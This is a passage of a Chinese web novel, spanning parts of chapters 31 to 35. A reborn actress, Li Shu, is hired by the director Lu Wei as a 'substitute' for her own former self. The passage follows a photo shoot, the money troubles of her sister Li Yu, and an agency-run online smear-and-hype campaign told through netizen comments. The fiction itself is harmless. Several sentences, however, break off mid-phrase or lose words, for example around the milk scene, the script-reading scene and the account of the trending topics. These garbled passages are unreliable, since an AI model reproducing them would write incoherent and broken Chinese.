黎数好歹穿了个旗袍,片场认识的人也没几个,找了几分钟,终于找到了个没人的空房间。 闻不到饭味儿以后,世界都好像舒服了,胃也没有那么饥饿了。 这屋里边缘的地方有几张躺椅,不脏,黎数和521约好半小时后喊她起床,就盖着自己的外套躺下了。 睡得迷迷糊糊间,黎数好像听到了有人开门的声音。 那人是讲着电话进来的,进来后就把门关上了,黎数晚了几秒的功夫,再想出声提醒就已经来不及了。 紧接着,她发现说话的人声音有些耳熟。 “我知道,我知道,你能不能别说了!”黎余面色憔悴,背对着黎数的方向,焦躁的来回走来走去,脚步声仓促且沉重:“钱钱钱,一天到晚就是钱,你以为我现在好过吗?我要是有钱我能不给你吗?我能不知道妈现在是什么样子吗?” 对面不知道说了什么,黎余失声尖叫了一下,崩溃道:“但是她已经死了!黎数已经死了!她死了!!你能不能不要再提她了?!你那么喜欢她你小时候对她好一点啊?她大学的时候你把学费给她啊?!你那么想要钱你有本事去找黎清啊,她才是黎数正儿八经的亲姐姐,她也是我妈的亲生女儿,你一直来找我有用吗?” 紧接着,黎余把手机挂断,蹲在原地崩溃的失声痛哭。 黎数静静地睁开了眼。 她听着黎余时轻时重的哭声,悄悄的将手机关了静音,和521取消了半小时后叫醒她的约定。 521发了一个很难过的表情来,又问她:【那我可以预约明早的叫醒服务吗?你今晚还会回紫檀住吗?晚上还可以让我和元宝一起上你的床上睡觉吗?】 黎数耐着性子一一回复:【可以,明早五点二十麻烦你叫我起床,今晚也会和陆嵬一起回去,晚上也要麻烦你带着擦干净的元宝一起来陪我睡觉,我很需要你,和你一起睡很舒服。】 521发了一连串狂喜、害羞、兴奋、激动的自拍表情包。 【521:小黎小黎我好喜欢你。】 一直到黎余收拾好东西离开,黎数又等了一会,才从房间出去。 然后就和不知道出现在这里干什么的陆嵬撞了个正着。 陆嵬的目光看着已经空无一人的走廊尽头,但最终目光落在了黎数身上。 她一语不发,倒是黎数心里一惊,强自镇定的开口说道:“陆总。” 陆嵬静静地站着,没什么表情,只淡淡的应了一声。 黎数不动声色的道:“我刚刚在这个房间睡觉,还没睡着,黎余就进来了——哦,就是那位数姐的妹妹,李情说她叫黎余,以前也是寰宇的艺人,后来跳槽走了。” 停了下,黎数才继续说:“她好像也是组里的演员,刚刚在跟人打电话吵架,吵完以后哭了二十多分钟,我没来得及提醒她,一直听了全程,所以她走了我才敢出来。” 黎数解释了一堆,陆嵬才‘嗯’了声。 她的手插在外套口袋里,闻言微微侧了侧头,说道:“我知道。她来找我,就是想找我拿个无足轻重的角色。我给她了,所以她在这了。” 黎数和陆嵬并排着往回走。 一路上有路过的工作人员向陆嵬问好,免不了也要顺带向黎数笑笑。 莫名其妙的,黎数开始被人喊‘小黎姐。’ 走了一段路后,黎数迟疑了下,还是小心扯了扯陆嵬的袖子,试探性的说:“陆总,我听她的意思,好像是她家里出了什么事。” “是吗?”陆嵬神色平静的说,“这我不知道。她没跟我提过。” 第32章 第三十二章【VIP】 黎数和陆嵬一起重新回到了摄影棚。 时间渐晚,大家也都想早点收工下班,黎数也不例外。 好歹休息了一小时,补充了点体力,所有工作人员也比休息之前更有干劲了一些,后面的拍摄算是快的。 时间已经不知不觉的走向了十一点。 拍摄已经进入佳境,摄影师也知道了费鹤鸣要什么,跟黎数之间打配合也有了足够的默契,只需要简单的一两个词,黎数就能瞬间领悟,然后给出她也想要的。 同传的照片一张张的发在平板上,有些不同姿势、不同情绪的照片之间甚至只间隔了十几秒,但质量都很高。 费鹤鸣没再去摄影棚,只偶尔的闭上眼睛休息几十秒,又很快睁开。 陆嵬一直静静地看着远处灯光大亮的棚,看着黎数熟稔的一举一动,和她停下来补妆时,配合化妆师微微弯起的腿。 “老师。”陆嵬忽然开口。 费鹤鸣‘嗯?’了一声,目光还看着照片,但陆嵬一直没再说下一句,她才回过头来,说:“怎么了?” 陆嵬嘴唇张了张,犹豫了下,说道:“你觉得,小黎怎么样?” 费鹤鸣沉吟了两秒,双手交叉,抱着膝盖轻轻摇晃,一边想着一边说:“很灵光,是个好孩子,跟我也很合拍。我很久没见过这么一点就通透的孩子了,要不是知道她之前的履历,我很难相信这是个毫无演戏经验的新人。” 正好也有点犯困,既然陆嵬提了这事儿,费鹤鸣也来了点兴致,把平板拿到了陆嵬眼前,说道:“你看。” 陆嵬的目光跟着费鹤鸣一起滑动。 透过镜头,两张相似的脸似乎逐渐的在融为一体。 那不是源于皮相的相似,而是透过那双眼下的灵魂一致。 费鹤鸣一张张滑动,“她的整体表现力,比很多入行几年但一直不开窍的人都强,语音、语调,我想要什么样的语境她很快就能调整好,对角色的理解也远超这个年龄段的小女孩。” 费鹤鸣站在很客观的角度上说:“我本来以为她可以演的出白玫的风情万种已经是运气,但没想到不论是白玫的野心、清纯、破碎、沉沦,还是坚毅,她都能给我。” 每一种情绪不是只有一种传达方式的。 可黎数总能出乎意料之外给她最合适、也最令人惊艳的那一种。 这已经不是单纯的合适和天赋就可以解释的。 费鹤鸣不是没带过新人,从她电影里走出来的影后和现今存在着的演技好的演员不计其数,可没有一个新人,是像黎数这样的。 再有天赋的演员,也需要练习面对镜头,也需要一遍遍的磨合,才能知道在镜头里自己什么样子才能将角色演的出彩。 但黎数似乎与生俱来都会,她不需要人教,甚至就可以直接走到丁点的站位上,也知道拍照的时候看哪个机器,演戏的时候又要将目光落在哪里。 费鹤鸣说着说着,突然有些伤感和恍惚。 “要不是我知道她只有十八岁,我甚至觉得,与她之间,像是已经认识了很多年。” 费鹤鸣苦笑一声,“我可能真是老了,已经开始在别人身上寻找很多已经分别了很久的故人的影子了。有时候,我看着小黎时,和她沟通时,总能从她身上看到小数的影子。” 陆嵬一手虚虚的在肚子上捂着,身体整体向后靠,垂着眼,像是很不经意,又像是怕惊扰到什么,轻声说:“您说,世界上真的会有这么相似的人吗?有没有可能……” 费鹤鸣刚要摇头,可忽然摇头的动作一停,紧接着,目光直视着陆嵬,以极其缓慢的速度说道:“有。” 陆嵬睫毛颤了颤。 费鹤鸣的手落在陆嵬的肩膀上,停了会才说:“你别忘了,《完美事故》也是你亲手写下的。” 陆嵬忘不了。 完美事故的主角,就是两个一模一样的人。 她们性格、喜好、体重……甚至就连脖子和眼尾的红痣,都是一模一样的。 她们两个没有血缘关系,不是同一个人,却有着比孪生姐妹还要一致的一切。 沉默良久,陆嵬短促的笑了声,但怎么听都像是夹杂着无尽的苦涩:“您说的对。” 费鹤鸣拍了拍她的后脑。 掌下的发丝黑白掺半,居然比她这个年逾六旬的人还要白上许多。 色,费鹤鸣叹着气起身,正巧看到了不远处的身影,想了想,朝过来的裘夏招了招手。 裘夏来的时间凑巧,指了指自己的鼻子,看到费鹤鸣点头以后,乖觉的二两步跑了过去。 费鹤鸣远远点了点陆嵬,小声说,去看看吧。” 裘夏回头才发现坐在椅子上,但蜷缩成了一团的陆嵬,提着鲜了。 本来她今天过来,是要视察一下黎数的工作,顺带再用公费买下好感度的。 她走到了陆嵬身边,先是看了眼场内各自忙碌着的工作人员,过了片刻,才把那杯热牛奶放在陆嵬面前。 “还好吗?” 裘夏用膝盖碰了碰陆嵬的膝盖,低头的瞬间看到了地上已经慢慢变干、但留了一丁点痕迹的几个圆圈。 陆嵬晃了晃脑袋,声音听不出来一丁点异常,说道:“你怎么来了?” 裘夏简单说了工作,陆嵬静静地听着,然后‘嗯’了一声。 过了会,陆嵬低声说:“你来了正好,帮我把她送回紫檀。” 裘夏仰着头看着陆嵬离去的背影:“你上哪?” 陆嵬没停,轻飘飘说了句:“回家。” 裘夏莫名觉的这轻飘飘的两个字后面,跟着的是裹挟着万钧之力的悲伤。 * 当晚送黎数回家的人是裘夏。 一般艺人进组后,短则几个月,长达半年、一年的时间,都能算是经纪人的假期。 但如果期间有剧连播,成绩很好的话,经纪人才会忙的恨不得起飞。 开车的人还是春风。 黎数第一反应是先看了看手机。 今晚陆嵬没给她留言,也没说不回。 明天七点半就要进组开始拍戏,拍摄地点就在申海市一个搭建好的民国建筑群内,距离紫檀不远不近,但开车要一个小时左右,所以她才让521五点半叫她。 黎数想了想,还是直接问了裘夏:“夏姐,你知道陆总上哪去了吗?” 裘夏心情算不得好,黎数从后视镜能看到她紧皱的眉心。 闻言裘夏匆匆抬起头,从后视镜里和黎数目光一对而过,说:“你找她有事?” 黎数实话实话:“她如果不回紫檀的话,明早我不知道要怎么去剧组。” 现在时间已经接近一点,到紫檀就要两点多,回去以后还要收拾行李,回去以后能睡的时间也不过只剩下两个小时,只能在车上补觉,到了剧组以后,等待期间才能安心的睡。 因为配角在拍戏时,做的最多的,不是演戏,而是等待。 黎数不会开车,紫檀的管家也并不负责出园区以外的事情,五点的车也不好打。 裘夏敲字的速度不停,甚至隐隐约约有加快的趋势,嘴上还能一心二用的回黎数:“今晚我和春风都不走,陆嵬家里有客房,我已经叫阿姨收拾过了,明天一早直接送你去剧组。” 黎数点头应了一声。 按照往常经验来讲,她起码应该会和自己说一声,再不算低调的秀个‘宠爱’以后再离开,起码要向外界证明点什么。 但陆嵬今天是突然消失的。 裘夏显然是没有告诉黎数的意思。 黎数的手机打开又关上,半晌,还是把目光投向了窗外。 裘夏和她之间的关系,比起大多数艺人和经纪人之间的亲昵来说,可以说是冷淡。 甚至都不如裘夏和春风之间偶尔拌嘴来的亲近。 黎数知道这源于自己此刻算是‘替身’的身份。 她一直不明白陆嵬究竟为什么要找一个替身。 一开始想不通,现在也没想明白。 但这种感觉实在不好,她直觉这背后一定另有原因,这个原因甚至极大可能和自己有关,甚至和陆嵬究竟为什么不让自己去颁奖典礼、不让自己出演顾宗年的电影有关。 可直到现在,她甚至连一层模模糊糊的迷雾都没有触及。 这么被蒙在鼓里下去,不行。 到紫檀后,裘夏熟门熟路的指挥着521从一楼的储物间里拿出了备用的毛巾、牙膏,然后给春风指了指一楼的一间客房,说道:“你今晚就睡这。” 春风点点头,提前先进了房间。 黎数没走,她看出了裘夏有话要跟她说。 裘夏手里捏着毛巾,脚还踩在客厅的地毯上,地毯已经在黎数没察觉的时候换了一张新的。 裘夏看着跳到了黎数怀里,正不断蹭她的元宝,也看到了忙活完毕以后,同样蹭到黎数身边的521。 裘夏思索了一会,才说道:“有个事儿想问你。” 黎数仰起头,“您说。” 裘夏斟酌着说:“今天在剧组,陆嵬是看见谁了,或者是听到什么了吗?” 黎数不知道裘夏为什么这么问,下意识的说:“好像也没发生什么特别的事,晚上她还吃了点蛋糕,陆总怎么了吗?” “她没事。”裘夏的表情很奇怪,“就是回家了。” 黎数‘啊’了一声,忽然说道:“想起来了,今天在剧组的时候,我看到黎余了,她和陆总说了会话,之后陆总就不见了。” 裘夏抬起眼,“黎余?” 黎数乖觉的点了点头:“嗯。她去公司找陆总了,陆总给她在剧组安排了个角色。” 时间悄无声息的流逝中,裘夏说道:“行,我知道了。” 第33章 第三十三章【VIP】 第二天黎数准时洗漱完毕、提着自己的行李进了电梯。 她没有事事都依靠她人的习惯,即便已经有了春风当助理,也拜托了521喊她,但黎数还是自己定了闹钟。 不过是铃声和521一同把她喊醒的。 521边走边刷它的假牙,一边叽叽咕咕的自己唱着儿歌给黎数提神。 东西不算太多,但黎数还是尽可能把需要用到的东西准备齐全了,有点沉,她和521、元宝一起乘坐的电梯。 电梯下行的时候,521刷完自己的假牙,掏出个小镜子照着看了看,屏幕里的金属牙齿非常坚固硬挺,一丁点漆没掉,屏幕也锃光瓦亮,它很满意。 过会才像是想起来似的说:“对了小黎,陆嵬已经回家了,给你带了早饭,你还需要我帮你单独订餐吗?” 门开的前一秒,521鬼鬼祟祟的小声说:“她看起来心情很不好,她每次从家里回来都心情很不好,我不想跟她说话。” 黎数抬眸向前看去。 春风应该还在收拾,客房的门已经开了,裘夏也已经一脸倦怠的起了床,一边走一边穿着外套。 裘夏在这边留的有衣服,应该是常来留宿。 但陆嵬身上的衣服没换,还是昨天的那一套。 她脸色不太好,眼底下有青黑的痕迹,眼圈发红,明显的一整宿没睡的样子。 “起来了?”陆嵬抬起眼睛看她,“那就走吧,东西拿到路上吃。” 说完,她起身往门口走,刚走了没两步,不知道为什么又停了下来,终于想起来似的,拎起了桌子上的午饭。 然后遥遥对着521说:“把行李提到车上。” 521忍气吞声的举起黎数不算多重的行李跟上陆嵬。 黎数回头看了眼。 春风听到了外面的动静,探出脑袋看了眼,嘴里还在紧张又焦急的刷牙,含糊不清的说:“马上好我马上来。” “你跟陆嵬先走。”裘夏摆了摆手,脸上还是困意,“我和春风单独去。” 黎数这才离开,临走前听到了裘夏在和人打电话的声音,很温柔很轻的在叫电话那头的人起床。 一个劲儿的喊老婆,腻歪到在桌子上扭来扭去,也不知道她是怎么和陆嵬玩到一起去的- 一路上都安静到诡异。 坐了这么多次车,但黎数也是第一次才知道车里居然有隔音屏障。 陆嵬按下按钮,前方就升起了一个单面可视的玻璃墙,画面、声音全部都被阻隔在了这一方小世界内。 黎数一顿早饭吃的食不知味。 但陆嵬像是一点都不着急,她一直等到黎数吃完,又看着她把吃完的垃圾重新收纳好,放在了靠近门边的脚底下。 陆嵬忍不住又晃了晃神。 曾经黎数也总会这样去收拾完两人吃完的东西,然后单独放在靠近门边的位置,这样下车的时候就不会忘记丢垃圾。 这一刻,也说不出是为什么,但她确定自己迟疑了。 直到黎数抬起眼,主动说:“陆总是有话要跟我说吗?” 陆嵬抱着胳膊,抿了抿唇。 她的瞳色偏浅,侧脸被沐浴在刚刚升起的阳光里,半张脸显得有种伪人的冷漠和无情。 “我问你最后一次。”陆嵬说:“为了你心里的那个目标,你确定自己做好牺牲的准备了吗?” 黎数没想到陆嵬是说这个。 她抿唇笑了笑,回答也一如既往:“当然。” 陆嵬说:“好。” 但黎数并没有打算让这场谈话再一次这么中止。 先前几次她不明缘由,一知半解的答应了陆嵬来演这么一出替身的把戏——如果她不是另外一个当事人,可能对这件事情不会有那么强的求知欲。 拿钱、拍戏、登顶,名利双收,只需要不怎么违背本心的演一出戏,她可以拿到她所有想要的东西。 可对于黎数来说,这只是其一。 一切电影、电视的最高奖项都不是好拿的,即便你有演技、有实力、有市场,可如果最终成绩反响差不太多,最后拼的,永远是利益。 陆嵬可以把前面的一切拉平,也可以把最后的所有补足,但她找不到第二个更适合的人选,所以只能是自己。 但即便是陆嵬,要做到这一切,她需要付出的代价,一定远远超出黎数的想象。 什么。 “陆总看起来好像有什么烦心事。”黎数垂着眼,面前是剧本。 属于她的内容并不多,这是一场,三个小时还多9分钟。比起台词,电影考量最多的是演,是 黎数看的并不怎么投入,眼睛将文字看进去了,可。 她将剧本翻了一页,随意的只是把属于自己的台词用笔单独划上线:“要” “之前几次您都避而不答,我也一直到现在都不知道,您找我来演的这场戏,到底是为什么?” 黎数笑了笑,一只手很稳的在剧本上不断地划线,一边说:“就我自己的认知里,有人找替身缅怀故人,有人找替身去为那点不能见人的情|欲满足,也有人找替身为了发泄那一丁点私欲,但不论是哪一种,都离不开爱或恨……而且都是针对于‘替身’本人的,不论是感情还是身体,总要付出点什么。” 黎数抬起头。 两人的目光在办公中短兵相接,谁都没率先挪开眼。 “可您对我并没有这方面的要求,甚至对我十分的客气,条件也极其的宽厚。” “现在应该是到了您要我开始做事的时候,我总要知道,您找我,除了我能有能力走到您需要我走到的高度上以外,应该是还有什么其他的隐情吧?” 黎数划线的右手随着说话停在了本子上,521给她准备的粉红荧光笔在纸上湮出了一小片痕迹,穿透了下面的纸张。 陆嵬冷声开口:“无可奉告。” 黎数本来也没指望她能告诉自己。 这背后一定是有什么她现在还不到时候探究的原因,于是很遗憾的耸耸肩说:“好吧。” 她耸肩和说‘好吧’的声音有一刻让陆嵬的心脏停跳了一拍。 这一句的语调,和黎数从前有疑问但却得不到满足的语调实在是太相似了,现在更因为相似的外貌平添了几分心惊。 陆嵬痛苦的闭上了眼,一整宿没睡的眼睛干涩刺痛,仅仅是眼皮的摩擦都让人想疼痛到无以复加。 车已经驶出了市区,车辆减少,但张姐的车速一直都不快,没多久,后面有一辆车追了上来。 是裘夏的那一辆,她也没超车,而是不远不近的吊在陆嵬的车后面。 快到剧组的时候,陆嵬递给黎数了一个新手机。 她看着黎数不明所以的眼神,说道:“之前你在一统的所有社交平台账号都被回并且清空资料了,公司已经给你统一建了新号。” 黎数‘啊’了声,但跟新手机有什么关系?还是最新款。 这款手机她之前刷到过,但是因为自己现在还比较拮据,虽然目前还没什么花钱的地方,但难保以后不会有,所以之前的片酬到现在还没动过,只日常买了些需要用的东西。 走的还是自己的卡。 陆嵬给她的那张无限额的附属卡她还没动过。 “以后这个手机就是你的常用机。”陆嵬目光望向黎数放在腿边、边缘已经磨得掉漆,手机壳也发黄的旧手说:“那个手机,你可以留着开小号用,免得上错号或者手滑引起不必要的麻烦。” 黎数这才知道给自己手机的原因。 她拆开后看了看,不愧为市面上的最新机型,极其轻薄,拿在手里几乎没什么重量,四屏可折叠、拉伸、卷曲,怎么携带都方便。 “只用来当做社交手机也太浪费了。”黎数心疼钱。 她前世虽然奖项不算少,可因为名气和流量问题,到手的钱和公司分过以后并不算多,每年只能保证有差不多三十万左右的税后收入。 这些钱,她在申海市的房子甚至都买不起多大的,挺拮据的一个小两室,入行很久才付得起首付,后来每个月都要还房贷,压力不可谓不大。 是以眼前这个标价要三万多的手机,对于黎数而言,已经是一个绝对的奢侈品了。 可读人工智能专业的,又有谁不爱一切先进的电子产品? 黎数探索新手机的功能有点停不下来——其实如果不是担心贸贸然探索521的系统会留下一些不必要、可能会暴露自己的痕迹,黎数甚至想把521给拆了研究研究内部构造的。 “今天中午十二点整,寰宇会官宣你为公司签约艺人,同时间点,《国家秘宝》官方也会官宣你的定妆照。公司也同时给你准备了黑词条和热词条,这所有的词条,会在你进剧组的全时期发酵,直到电影上映后的当天。” 陆嵬没有顾忌黎数收到新手机时的兴奋,毫不留情的泼冷水。”这期间内,你会面对来自全网、不可变明真假的留言诋毁,你会面对这世界上最大的恶意。小黎,你受得了吗?” 黎数玩新手机的抽拉功能玩的有点爱不释手。 她翻来覆去的拉出来,再收回去,又拉出来,再收回去。 确定手机不能在一个卷轴的状态下再进行折叠的时候,黎数还有一点小遗憾。 玩了一会,她才想起来陆嵬刚刚说了什么。 她抬起头,仔细回想了一下陆嵬刚刚说的话。 她也想起自己曾经收到过的赞誉和诋毁,但的确,她从没有尝试到过全网黑到底是什么样子。 于是黎数想了想,说:“但是陆总,你不是已经告诉我,这是寰宇在背后操盘吗?” 陆嵬轻轻一愣。 黎数叹了口气,漫不经心的说:“我既然提前知道是假的,又怎么可能会被影响?您太小瞧我了。” 这种靠黑红起家的路子屡见不鲜,在娱乐圈算是一个常规的操作手段了。 观众和网友永远是三分钟热度,只要没触及到底线,爱不会多长久,恨也同样。 可一个演员,能被操纵的永远是外物。 从前的黎数不能左右自己的角色,不能左右自己的戏份,甚至在面对明明一塌糊涂、却被导演说了‘过’的内容。 但现在不一样。 所有的黑点,嘲讽、谩骂,在电影上映,观众见到她有真实力的那一刻,都会不复存在。 人类永远是仰慕真正的强者的。黎数也曾经靠小出圈的角色爆过几次,她也知道有很多人对她的宽容程度—— 在她曾经被拍到过和陆嵬接吻的时候,所有网友的回复都是: “路边接个吻而已,女演员和女朋友接吻很正常吧。” “不说我还以为是同时亲了三五个,只亲一个有什么好报道的,谁还没个女朋友了。” “人家是演员又不是爱豆,谈个恋爱怎么了,谈恋爱能让她演技下滑啊?” 那些曾经护着她的留言,黎数全都记得很清楚。 陆嵬是要她靠实力走上顶端的,也只有实力才能走到那。 也只有拥有足够实力的人,才能获得最大的宽容。 演技和对于演戏的野心和热爱,才是黎数唯一一个能守得住的净土。 黎数抬起头,拜托521远程操控她的两台手机去实行数据转移。 下车的时候,她回头笑了笑,人站在已经彻底升起的阳光下,回头和陆嵬说:“陆总,您要开始演戏,是不是要演个彻底?” 她向陆嵬伸出手,说:“搭着我的手,我接您下车呗。” 第34章 第三十四章【VIP】 还没到约定的官宣时间,《秘宝》全员选定,正式开拍的消息就已经上了数个热搜。 除了主演沈凝雪、林辰星以外,这部戏几乎没有什么大热的人,费鹤鸣依然是一贯启用新人和生面孔的大胆作风。 但有瓜主爆料,说这件事情涉及到了很多不可说的恩怨情仇。 狗血程度不是正常人能干出来的事儿L。 “大瓜,某知名新锐导演找的已死女星的替身,要搭档导演曾经的绯闻对象,一位影后级别的演员演一部红色主旋律电影,已死女星的亲妹妹也在剧组,影后力捧的小花和替身、妹妹之间关系亲密。” “已死女星的替身,死多久了?替身谁啊?还搭档曾经绯闻对象,这对象还是个影后?然后正主亲妹妹也在这个剧组里?影后力捧的新生代小花还和已死女星的妹妹和替身关系都很亲密?不是,是人话吗?是中文吗?我怎么理解无能了?” “新锐导演?新生代还有导演吗?不就剩下五六代老人们独挑大梁,到现在费老板都还没退休呢吧,和资本派系的代表的顾宗年分庭抗礼,往下再细分东西南北四方,和各种派系,新生代?哪来的新生代?哪个新生代还能冒头?” “给个暗示啊,到底谁啊,最近有传闻进组的几大影后不就沈凝雪吗?红色旋律电影现在几个敢拍的,不就只有费老板有一个新电影吗?” 【瓜主回复:“踢。”】 “卧槽,真是费老板!刚刚刷到沈凝雪进组的消息了,我好像解码了!新生代导演=lv,已死女星=ls,影后是snx,小花是去年前年都有小爆热剧的lcx,妹妹应该是ls的亲妹妹ly,前几年传言说也签到寰宇了,但是不知道为什么高调跳槽走了,后来就查无此人了。” “LV?包啊?LS啥?楼上?历史?老头?” “陆嵬,黎数,沈凝雪,林辰星,黎余?” “不可能!” “天老爷这几个人是怎么搅合到一起去的,黎数不是已经死了吗?怎么又冒出来一个黎数?” 【瓜主回复:查过了,同名同姓同一张脸,[图片],甚至从小到大的照片都好找,没整过容。据当时知情人爆料,她之前在一统就靠模仿黎数给小沈晗当垫脚凳,进剧组试镜时遇到陆嵬后就解约跳槽了寰宇,经纪人是裘夏,解约费达整整二百五十万。】 瞬间全网爆炸。 “你是说一个什么都不是的替身小情人儿L就靠着一张脸飞升,直接进了费鹤鸣剧组出演女二?和沈凝雪搭对手,沈凝雪这两年捧的林辰星都要给她让路做配,是这个意思吗?” “这个黎数算什么?除了一张脸一无是处,之前就差扒着黎数身上吸血了,现在黎数死去两年,没有利用价值了,她又直接找上人家前任当铁饭碗了是吗?” “六百六十六,演都不演了。” “笑死我了,之前灾后视频发出来的时候,还一堆人心疼陆嵬,嗑她和黎数的cp的,当时陆嵬在那挖了一整夜,逢人就问有没有见过黎数,听说还被余波埋了一次都没死成,醒来以后第一个找的还是黎数,拖着断掉的腿就又跑回去了,怎么,全都是演的?这都能演,牛啊!” “好哇,爱的不是人,是脸啊。那我整容成黎数的样子岂不是也能直接实现阶级变迁?” “我原本还以为费鹤鸣的电影不会出现这种掀桌行为,该是谁就是谁,好啊,现在也和顾宗年一样演都不演了?沈凝雪和林辰星谁也没惹。” “有人管管黎余吗,她才是最惨的吧……” 关键要素太多,整个娱乐圈,各家粉丝终于是开启了一波日天日地的大混战。 黎数之前的住址被扒出来,已经有网友给她寄去了花圈,门口到处都是臭气熏天的垃圾,一统连夜发布了声明,说黎数早就已经搬出了公寓楼,不在那里住了。 但无人在意。 热搜这种事儿L,在圈子里见得多了,黎数倒也不怎么在意——但这个炒作的趋势,她的确是闻所未闻、见所未见。 粉丝无端猜测脑补起了这一部戏的所有爱恨情仇。 同一时刻,寰宇官宣黎数为签约艺人,黎数的微博也经由裘夏管理,发布了第一条内容。 只有一朵简简单单的白色玫瑰。 像素并不高,甚至也没什么色调,好像只是在一个桌角随意拍摄的一朵花。 黎数的个人热度持续上涨,百多万,这比历史上任何一个 她的粉丝也在疯狂增长,随便一刷升,而那朵白玫瑰的微博,也*在转发了超百万次。 不管怎么说,裘夏真的是一个极其合格且超出水平线过于多的经纪人。 ,真的做成了。 已经有聪明的网友在预言这只是寰宇为了黎数的热度,而做的宣传手段,但更多人已经沉浸在了吃瓜、跟风的快乐里无法自拔。 紧随着这波热度,《铁,跟着一起官宣了黎数。 中午十二点整,也就是陆嵬告诉黎数的时间,秘宝发布了官宣黎数的内容。 官宣海报直接沿用了黎数的定妆照之一,实建的外景下拍摄的。 太阳高高挂在天上,日光倾泻洒下,一个身穿破烂长袄,裤子臃肿、外露着的地方全都是稻草、麦穗的少女,目光直勾勾的看着远处。 远方只剩下了一个破旧的板车,上面是一个侧头抽着大烟的男人,腰间是鼓囊嚢的钱袋。 在她的身后不远处,霓虹璀璨、笙歌燕舞,一个穿着精致锦袍的女人叼着根猩红的烟,身材极致妖娆,靠在门边,望着女孩的方向,空中是缥缈的烟。 电影国家秘宝官方微博:全员到齐,李梨,白玫,欢迎你。 洗尽铅华始见金,褪去浮华归本真。 愿你喜爱你自己。 @黎数。 开机大吉- 太多的热搜、消息,黎数的手机通知框就没停过。 她暂时屏蔽了那些通知,终于,手机安静了下来。 这才在午休的时候,有功夫打开了裘夏发给她的信息。 【裘夏:转发秘宝和寰宇官宣的内容,然后分别把这两段文案发出去。】 【裘夏:注意点,别发错了。】 【黎数:收到。】 文案都是工作人员拟词的文案,循规蹈矩,挑不出对与错。 发完以后,因为实时热度的原因,黎数的微博又占了一个单独的词条。 #黎数黎数# #活黎数死黎数# #这世界上,拥有和你长得一样的人的概率有多大# 现在的黎数没粉丝,黑料也没多少,毕竟以她的家世背景,被一统要求去扮演另外一个人,网友大多也能理解。 何况那时候原主才十六岁。 但陆嵬和裘夏真就神通广大到了某种程度。蒙太奇式谎言的使用方法经久不衰,在娱乐圈更为常见。 她们发布出的东西,每一句都是真话,但通过剪辑、调整顺序,把所有的真话,组成了一个天大的谎言。 一时之间,黎数这两个字居然横屠了全平台热搜榜。 “有朝一日,我居然还能有这样的待遇……”黎数闭上眼睛,把手机丢到了一边,整个人‘大’字形躺下,久久无言。 平心而论,没有一个演员会不希望自己有热度。 因为行业发展到今天,真正有实力、但实力并不足以脱颖而出的大部分演员,是没有话语权的。 流量和热度代表一切,这也是投资人必须要考虑到的市场因素,除非真的有自信,可以凭借实力演技派和好的导演,去将一个片子彻底送入影剧历史高分排行。 陆嵬要这么捧她,前面也一定是砸了无数个牺牲品去做实验的。 手机又响了响。 黎数打开看了一眼,还是裘夏的消息。 【裘夏:不要去理会网上说什么,也不要回应任何一个字。】 【黎数:知道,放心。】 【裘夏:你倒是比我想的还稳定得多。】 因为就像是自己和陆嵬说过的那样,黎数知道一切都是假的。 当然稳定。 事实上热度从爆料之初发展到现在,黎数都始终是站在旁观者的角度去看的—— 网友的辱骂、嘲讽、或者是跟风,全都止步于网络,还没有真的到达她面前。 何况陆嵬也提前给过自己暗示,很多内容都是寰宇和宣传、公关公司在背后做的推手。 到底不是真正的十八岁小姑娘,黎数也不在戏中,也不想演出一副担惊受怕、被骂的畏畏缩缩的模样。 直到当天晚上,热搜被沈凝雪的名字再一次引爆。 彼时黎数刚刚收工,在回酒店的路上遇到了黎余,她正犹豫着要不要去打个招呼,试探一下家里到底怎么回事。 手机就震了震。 黑夜里,手机震动的声音有点明显。 黎余听到了动静,下意识回头,阴恻恻的郊外、树影、古旧的欧式建筑和四处充满着烽烟的断壁残垣,以及黎数站在不远处静静望着她的那张脸。 黎余吓了一跳,尖叫一声疯狂跑远—— 黎数:“……” 一直到黎余跑出去很远,黎数才拿出手机看了一眼。 是裘夏发的消息。 【裘夏:去转发凝雪的微博,然后把文案复制过去。】 文案内容是:“非常感谢凝雪姐的认可,与您的相处中也学习到了很多,您的耐心、温柔都让我受益良多,希望以后还可以有合作的机会。” 黎数先复制了,才切到微博看了眼。 居然是沈凝雪单独发了一条粉丝的评论。 “姐,要不辞演吧,为什么要接这部戏去奶和你无关还吸你血的替身小情儿L啊?” 沈凝雪单独复制了文字。 沈凝雪:小黎是靠着自己的实力试上的戏,她没有依靠任何人,全部的剧本在我手里,别忘了,《秘宝》我也是投资出品方之一。你们要相信,一切都是最好的安排,相信我,也相信费导,相信小嵬,也相信小黎,她才是真正意义上的适合吃演技这碗饭的人。 真是奇怪。 黎数按照裘夏的要求转发了,但放下手机,依然还是想不通。 沈凝雪和她从前其实并没有什么交集,也没合作过什么戏。 但偶尔遥遥看一眼,她似乎对自己又完全没有恶意。 现在就连一个‘替身’,她都这么维护。 娱乐圈真有慈善家? 她低着头往回走,刚走没两步,身后又传来小小的脚步声。 刚刚受到惊吓狂奔而去的黎余慢吞吞的又走了回来,满脸含泪,手上哆哆嗦嗦的抓着个略粗壮的木棍,颤巍巍的往这边走。 一边走,一边小声的喊:“姐……?是你吗?你真的变鬼了吗?” 行,语言文学学得好,相信世界上有鬼都没想起来剧组里有一个长得很像的人。 黎数双手插进口袋里,说:“我不是你姐,也不是鬼,我……” 她顿了顿,居然一时之间不知道要怎么和黎余介绍自己。 面色古怪了一会,说:“是我,之前在陆总公司咱们见过。” 第35章 第三十五章【VIP】 黎数又做梦了。 午夜零点开播的动物频道已经成了时下很多年轻人睡前助眠的频道之一。 各种短视频平台也各自有了二创的内容。 她在剧组拍戏时,也不免有点沉迷,偶尔连着拍久了,抓紧一切时机补觉的时候,听得最多的也是动物频道的助眠音。 “有一只沙狐探头探脑的钻出了洞穴,它在探寻外侧有没有危险,似乎是确定了四周没有天敌的存在,这只沙狐终于越过了窝前的山丘……正在此时,一只秃鹫俯冲向下,以时速每秒不知道多少公里的冲击力,用利爪狠狠抓住了沙狐的脖子……啪叽,它死啦。” 黎数睁开了眼。 动物频道每天零点开始,两点结束。现在还在播放中,不知道现在究竟几点,但天黑的厉害,天空上到处都是市区内少见的灿星。 室内亮着灯,但只够勉强看到灯源近距离的一切家具外轮廓。 城郊这边的观景区没有多少游客,寰宇投资了将近两个亿盖的仿古景点也没有对外开放,所以并没有太多霓虹灯污染。 她床边站了一个人,手里抓着一坨黑乎乎的东西,像是个四肢苗条、脑袋极瘦,偏偏尾巴又很肥大的大耗子。 黎数迅速清醒。 